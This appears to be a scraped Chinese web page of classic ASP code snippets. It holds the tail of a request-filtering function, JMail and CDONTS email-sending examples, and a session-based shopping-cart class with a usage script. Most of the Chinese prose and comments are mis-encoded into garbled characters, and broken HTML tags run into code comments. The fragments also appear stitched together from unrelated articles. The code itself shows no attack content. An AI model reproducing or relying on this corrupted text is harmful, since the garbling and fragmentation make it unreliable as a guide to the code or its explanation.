SafeRequest=ParaValue
End function
文章到这里就l束了,不管你是安全人员、技术爱好者还是程序员Q我都希望本文能对你有所帮助。如果有什么疑问或想与我讨论相关问题,Ƣ迎?A >www.54NB.com 向提出,谢谢大家Q?/P>
w3 Jmail4.3lg重新设计了其内部l构——用Message对象代替原来的单一对象Jmail.smtpmail发送邮Ӟ有些Ҏ需要n份验证的(?63、yahoo{?Q可以用下面的方法解冻I
<%
Set jmail = Server.CreateObject("JMAIL.Message") '建立发送邮件的对象
jmail.silent = true '屏蔽例外错误Q返回FALSE跟TRUE两值j
mail.logging = true '启用邮g日志
jmail.Charset = "GB2312" '邮g的文字编码ؓ国标
jmail.ContentType = "text/html" '邮g的格式ؓHTML格式
jmail.AddRecipient Email '邮g收g人的地址
jmail.From = "Email From for Sender" '发g人的E-MAIL地址
jmail.MailServerUserName = "UserName of Email" 'd邮g服务器所需的用户名
jmail.MailServerPassword = "Password of Email" 'd邮g服务器所需的密?BR> jmail.Subject = "Mail Subject" '邮g的标?
jmail.Body = "Mail Body" '邮g的内?BR> jmail.Prority = 1 '邮g的紧急程序,1 为最快,5 为最慢, 3 为默认?BR> jmail.Send("Server Address") '执行邮g发送(通过邮g服务器地址Q?BR> jmail.Close() '关闭对象
%>
再讲一下微软自带的CDONTSlg的发信的ҎQ?/P>
<%
Set cdomail = Server.CreateObject("CDONTS.NewMail") '建立邮g对象
cdomail.Subject = "Mail Subject" '邮g标题
cdomail.From = "Sender's Mail" '发g人的地址
cdomail.To = "Email will from" '收g人的地址
cdomail.Body = "Mail Body" '邮g的内?BR> cdomail.Send '执行发?BR>%>
q种Ҏ发送邮件是最单的Q同时也带来一定的问题Q就是很有服务器会开q项服务Q?/P>
我们写程序,一般情况下都是说要代码模块化,q样方便l护Q同时也方便UL。因此,我在q里这个发邮g的写成一个子E,在调用的时候可以直接调用(当然Q如果你高兴写成函数的话也是可以的,q个主要是看个h兴趣Q:
<%
'参数说明
'Subject : 邮g标题
'MailAddress : 发g服务器的地址,如smtp.163.com
'Email : 收g人邮件地址
'Sender : 发g人姓?BR> 'Content : 邮g内容
'Fromer : 发g人的邮g地址
Sub SendAction(subject, mailaddress, email, sender, content, fromer)
Set jmail = Server.CreateObject("JMAIL.SMTPMail") '创徏一个JMAIL对象
jmail.silent = true 'JMAIL不会抛出例外错误Q返回的gؓFALSE跟TRUE
jmail.logging = true '启用使用日志
jmail.Charset = "GB2312" '邮g文字的代码ؓ体中?BR> jmail.ContentType = "text/html" '邮g的格式ؓHTML?BR> jmail.ServerAddress = mailaddress '发送邮件的服务?BR> jmail.AddRecipient Email '邮g的收件h
jmail.SenderName = sender '邮g发送者的姓名
jmail.Sender = fromer '邮g发送者的邮g地址
jmail.Priority = 1 '邮g的紧急程序,1 为最快,5 为最慢, 3 为默认?BR> jmail.Subject = subject '邮g的标?BR> jmail.Body = content '邮g的内?BR> '׃没有用到密抄跟抄送,q里屏蔽掉这两句Q如果您有需要的话,可以在这里恢?BR> 'jmail.AddRecipientBCC Email '密g收g人的地址
'jmail.AddRecipientCC Email '邮g抄送者的地址
jmail.Execute() '执行邮g发?BR> jmail.Close '关闭邮g对象
End Sub
'调用此Sub的例?BR> Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer
strSubject = "q是一用JMAIL发送的试邮g"
strContent = "JMaillg发送测试成功!"
strEmail = "my@my.com"
strFromer = "my@my.com"
strMailAddress = "mail.my.com"
Call SendAction (strSubject,strMailaddress,strEmail,strSender,strContent,strFromer)
%>
<%
Class ShopBag
'攑֕品的I间
Private ProSpace
'商品信息个数
Private ItemsCout
'=============================================================
' 共有?BR>'=============================================================
'Ҏ?PutAPro
'参数:一个存有商品信息的数组--ProData
'作用:一个商品放入购物R
'q回|
'成功攑օ商品Q返回true
'商品存在,q回false
Public Function PutAPro(ByRef ProData)
'size:'最后一?BR> dim size,result,flag
ItemsCout = ubound(ProData) '商品信息个数
GetPro
if CreateSpace then
'有商品需要检商品是否存?BR> MyPrint "有商品需要检商品是否存?
flag = CheckProExists(ProData(0))
else
flag = false '购物车没有商?BR> MyPrint "购物车没有商?
end if
if not flag then
size = Ubound(ProSpace)
for i = 0 to ItemsCout
ProSpace(size,i) = ProData(i)
next
MyPrint "攑օ一个商?...<br>"
SavePro
result = true
else
result = false
end if
PutAPro = result
End Function
'----------------------------------------------
'得到所有商?BR> Public Function GetAllPro(ByRef ProList)
ProList = Session("ProID")
End Function
'----------------------------------------------
'更新产品个数
Public Function UpdatePro(ByRef ProNumList)
dim ProNumData
GetPro
ProNumData = split(ProNumList,",")
for i =0 to Ubound(ProNumData)
ProSpace(i,3) = Cint(trim(ProNumData(i)))
next
SavePro
MyPrint "更新了所有商品个?
End Function
'删除一个商?
Public Function DeleteAPro(id)
MyPrint "准备删除一个商?
dim count
GetPro
count = UBound(ProSpace)
if count=0 then
MyPrint "商品已经是最后一个了, session设ؓnull"
Session("ProID") = null
else
redim tempAr(count-1,3)
MyPrint "开始查找要删除的商品id..."
for i = 0 to count
if Cint(ProSpace(i,0)) = Cint(id) then
MyPrint "扑ֈID,删除!"
for j=i to count-1
ProSpace(j,0) = ProSpace(j+1,0)
ProSpace(j,1) = ProSpace(j+1,1)
ProSpace(j,2) = ProSpace(j+1,2)
ProSpace(j,3) = ProSpace(j+1,3)
next
exit for
end if
next
for i = 0 to count-1
tempAr(i,0) = ProSpace(i,0)
tempAr(i,1) = ProSpace(i,1)
tempAr(i,2) = ProSpace(i,2)
tempAr(i,3) = ProSpace(i,3)
next
Session("ProID") = tempAr
end if
End Function
'---------------------------------------------
'得到商品的某信息列?Q?号隔开
Public Function GetProList(n)
dim result
GetPro
if isnull(ProSpace) then
result = null
else
for i =0 to ubound(ProSpace)
if i = 0 then
result = ProSpace(i,n)
else
result =result&","&ProSpace(i,n)
end if
next
end if
KillMe
GetProList = result
End Function
'==================================================================
'=================================================================
' U有?BR>'=================================================================
'商品是否已l存?BR> '??q回 true
'不存在返?false
Private Function CheckProExists(ProID)
MyPrint "商品是否存?<br>"
dim result
result = false
for i = 0 to Ubound(ProSpace)
if Cint(ProSpace(i,0)) = Cint(ProID) then
result = true
End if
next
CheckProExists = result
End Function
'------------------------------------------------
'作用:
'开辟存攄品的I间
'q回?
'新开大小q回 false
'重构I间大小q回 true
Private Function CreateSpace()
dim result
MyPrint "开始开辟空?..<br>"
'ReSize: I间大小
dim ReSize
'计算需要空间大?BR> if isarray(ProSpace) then '已经有商品了
MyPrint "已有I间,需要重构空间大?<br>"
ReSize = UBound(ProSpace)+1
MyRedim ProSpace,ReSize
result = true
MyPrint "重构了空间大?+1...<br>"
else
redim ProSpace(0,ItemsCout)
result = false
MyPrint "没有I间,开?...<br>"
End if
CreateSpace = result
End Function
'----------------------------------------------
'重新构造一个数l?BR> private Function MyRedim(byRef aArray,ByVal Size)
MyPrint "开始重构空间大?..<br>"
redim TmpArray(Size,ItemsCout)
'备䆾信息
for i = 0 to Ubound(aArray)
for j =0 to ItemsCout
TmpArray(i,j) = aArray(i,j)
next
next
redim aArray(Size,ItemsCout)
'q原信息
for j = 0 to ubound(TmpArray)
for k =0 to ItemsCout
aArray(j,k) = TmpArray(j,k)
next
next
End Function
'-----------------------------------------------
'保存商品
Private Function SavePro
Session("ProID") = ProSpace
MyPrint "保存购物?...<br>"
KillMe
MyPrint "释放了空?.<br>"
End Function
'----------------------------------------------
'从Session中取出商?BR> Private Function GetPro
ProSpace = Session("ProID")
MyPrint "Session中的商品攑օ了购物R....<br>"
End Function
'----------------------------------------------
'释放I间
private Function KillMe
ProSpace = null
End Function
'----------------------------------------------
End Class
%>
使用:
<!--#include file="CastClass.asp"-->
<%
'昄操作q程
Function MyPrint(str)
Response.write str
End Function
dim aShowBag,ProData,ProList
ProData = Array(1,"ProName","ProPrice","ProNum")
set aShowBag = new ShopBag
state = aShowBag.PutAPro(ProData) '攑օ一个商?BR> ProData= null
aShowBag.GetAllPro ProList
if state then
Response.Write "攑օ一个商?lt;br>"
else
Response.Write "商品已经存在<br>"
end if
Set ShowBag = nothing
if isarray(ProList) then
for i = 0 to ubound(ProList)
for j =0 to 3
Response.Write ProList(i,j)&"=="
next
Response.Write "<br>============<br>"
next
else
Response.write "没有商品"
End If
%>